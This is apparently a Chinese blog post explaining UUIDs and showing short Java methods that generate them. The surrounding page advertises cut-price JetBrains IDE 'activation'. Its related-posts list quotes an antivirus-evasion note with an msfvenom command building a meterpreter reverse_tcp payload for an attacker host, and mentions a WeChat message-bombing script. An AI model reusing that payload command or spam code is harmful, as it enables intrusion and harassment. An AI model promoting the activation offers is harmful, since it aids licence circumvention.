Java 生成 UUID[通俗易懂]

Java 生成 UUID[通俗易懂]1.UUID简介UUID含义是通用唯一识别码(UniversallyUniqueIdentifier),这是一个软件建构的标准。也是被开源软件基金会(OpenSoftwareFou

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

1.UUID 简介

   UUID 含义是通用唯一识别码 (Universally Unique Identifier),这是一个软件建构的标准。

   也是被开源软件基金会 (Open Software Foundation, OSF) 的组织应用在分布式计算环境 (Distributed Computing Environment, DCE) 领域的一部分。

   UUID 的目的,是让分布式系统中的所有元素,都能有唯一的辨识资讯,而不需要透过中央控制端来做辨识资讯的指定。

   如此一来,每个人都可以建立不与其它人冲突的 UUID。在这样的情况下,就不需考虑数据库建立时的名称重复问题。

2.UUID 组成

   UUID保证对在同一时空中的所有机器都是唯一的。通常平台会提供生成的API。

   按照开放软件基金会(OSF)制定的标准计算,用到了以太网卡地址、纳秒级时间、芯片ID码和许多可能的数字。

UUID由以下几部分的组合:

(1)当前日期和时间,UUID的第一个部分与时间有关,如果你在生成一个UUID之后,过几秒又生成一个UUID,则第一个部分不同,其余相同。

(2)时钟序列。

(3)全局唯一的IEEE机器识别号,如果有网卡,从网卡MAC地址获得,没有网卡以其他方式获得。

   UUID的唯一缺陷在于生成的结果串会比较长。关于UUID这个标准使用最普遍的是微软的GUID(Globals Unique Identifiers)。

   标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx (8-4-4-4-12)。

3.项目实战

    UUID 来作为数据库数据表主键是非常不错的选择,保证每次生成的UUID 是唯一的。
a.生成 UUID

   public static void main(String[] args) {
        for(int i=0;i<10;i++){
            String uuid = UUID.randomUUID().toString().replaceAll("-", "");
            System.out.println(uuid);
        }
    } 

b.生成指定数目的 UUID

    /**
     * 获得指定数目的UUID 
     * @param number int 需要获得的UUID数量 
     * @return String[] UUID数组 
     */
    public static String[] getUUID(int number){
        if(number < 1){
            return null;
        }
        String[] retArray = new String[number];
        for(int i=0;i<number;i++){
            retArray[i] = getUUID();
        }
        return retArray;
    }

    /**
     * 获得一个UUID 
     * @return String UUID 
     */
    public static String getUUID(){
        String uuid = UUID.randomUUID().toString();
        //去掉“-”符号 
        return uuid.replaceAll("-", "");
    }

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/166739.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • 掩日免杀笔记_在线笔记

    掩日免杀笔记_在线笔记微信公众号:乌鸦安全扫取二维码获取更多信息!1.环境攻击机:kalilinux10.211.55.23受害机:Windows10360主动防御Windows7火绒主动防御2.生成exe文件在kalilinux下使用msfvenom生成一个64位的exe文件msfvenom-pwindows/x64/meterpreter/reverse_tcplhost=10.211.55.23lport=4444-fexe…

  • 上百例Silverlight网站及演示汇总「建议收藏」

    上百例Silverlight网站及演示汇总「建议收藏」SilverLight网站大集合1.国外的一家电视网站http://plus.mixplay.tv/videosonline/home#videos-de.home:plus 2.条形码http://www.neodynamic.com/demo-faq/barcode-silverlight/134/SilverlightBarcodePhotoIdCardOnline/Defa

    2022年10月19日
  • 微信聊天代码轰炸_微信加好友验证轰炸

    微信聊天代码轰炸_微信加好友验证轰炸话不多说,直接上代码varappElement=document.querySelector('[ng-controller=chatSenderController]');

  • zotero使用教程视频_anaconda使用教程

    zotero使用教程视频_anaconda使用教程之前一直想有一个管理文献的好工具,但囿于麻烦都没有去做。最近需要阅读大量的文献,便重新拾起了这个念头,在几经搜索后,选定了Zotero作为文献管理工具。至于为什么选择这个软件,我也许并说不清,网上有

  • Python学习之路40-属性描述符

    Python学习之路40-属性描述符Python学习之路40-属性描述符

  • 推荐一款神仙颜值的 Redis 客户端工具

    推荐一款神仙颜值的 Redis 客户端工具日常开发过程中,项目常常都会使用Redis来做缓存或者Session服务器,为了更直观方便,开发者常常会使用一些可视化工具,如RedisDesktopManager、RedisClent等,但界面UI做得不尽人意,作为当今时代,对软件的UI还是有所期待的,今天给大家分享一款,高颜值、功能强大的Redis客户端工具。AnotherRedisDesktopMan…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号